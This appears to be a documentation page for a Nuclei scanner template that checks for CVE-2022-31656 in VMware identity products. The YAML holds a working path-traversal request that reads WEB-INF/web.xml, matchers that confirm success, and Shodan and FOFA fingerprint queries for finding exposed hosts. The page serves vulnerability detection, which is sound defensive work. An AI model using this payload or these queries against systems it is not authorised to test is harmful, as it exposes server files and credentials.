Skip to content
Nuclei Templates

VMware - Local File Inclusion

ID: CVE-2022-31656

Severity: critical

Author: DhiyaneshDk

Tags: cve2022,cve,vmware,lfi

Description

Section titled “Description”

VMware Workspace ONE Access, Identity Manager, and Realize Automation are vulnerable to local file inclusion because they contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.

YAML Source

Section titled “YAML Source”
id: CVE-2022-31656


info:
  name: VMware - Local File Inclusion
  author: DhiyaneshDk
  severity: critical
  description: |
    VMware Workspace ONE Access, Identity Manager, and Realize Automation are vulnerable to local file inclusion because they contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.
  impact: |
    The impact of this vulnerability is that an attacker can read sensitive files on the server, which may contain credentials, configuration files, or other sensitive information.
  remediation: |
    To remediate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being used in file inclusion operations.
  reference:
    - https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd
    - https://www.vmware.com/security/advisories/VMSA-2022-0021.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31656
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31656
    cwe-id: CWE-287
    epss-score: 0.64132
    epss-percentile: 0.97874
    cpe: cpe:2.3:a:vmware:identity_manager:3.3.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vmware
    product: identity_manager
    shodan-query: http.favicon.hash:-1250474341
    fofa-query:
      - icon_hash=-1250474341
      - app="vmware-workspace-one-access" || app="vmware-identity-manager" || app="vmware-vrealize"
  tags: cve2022,cve,vmware,lfi


http:
  - method: GET
    path:
      - "{{BaseURL}}/SAAS/t/_/;/WEB-INF/web.xml"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<web-app"
          - "<servlet-name>"
        condition: and


      - type: word
        part: header
        words:
          - "application/xml"


      - type: status
        status:
          - 200
# digest: 490a0046304402201ec20f85b1c9366aa54458ebba2857c9c34712dc61cf8728fac8dfa0a8d84a2602200d3f537d066025533ce1108030f0f40a92de213b58ce9799c7d1ebb7fefedb80:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-31656.yaml"

View on Github